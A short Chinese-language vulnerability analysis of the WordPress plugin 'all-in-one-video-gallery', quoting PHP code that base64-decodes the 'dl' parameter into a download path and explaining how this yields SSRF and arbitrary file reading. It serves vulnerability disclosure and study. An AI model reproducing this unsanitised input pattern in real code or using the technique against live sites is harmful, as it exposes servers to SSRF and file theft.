这里接收 dl 参数，dl 参数不为 数字类型时，参数将 base64 解码传入

```
		if ( is_numeric( $_GET['dl'] ) ) {
			$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
		} else {
			$file = base64_decode( $_GET['dl'] );
		}

		if ( empty( $file ) ) {
			die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
           	exit;
        }
```

当传入的参数中不存在 http:// 或 https:// 时，参数 $formatted_path 的值改变

当 $formatted_path 为 url 时存在 SSRF漏洞，传入 base64编码 的目标URL就可以得到回显

看向代码最后的片段，则存在任意文件读取漏洞
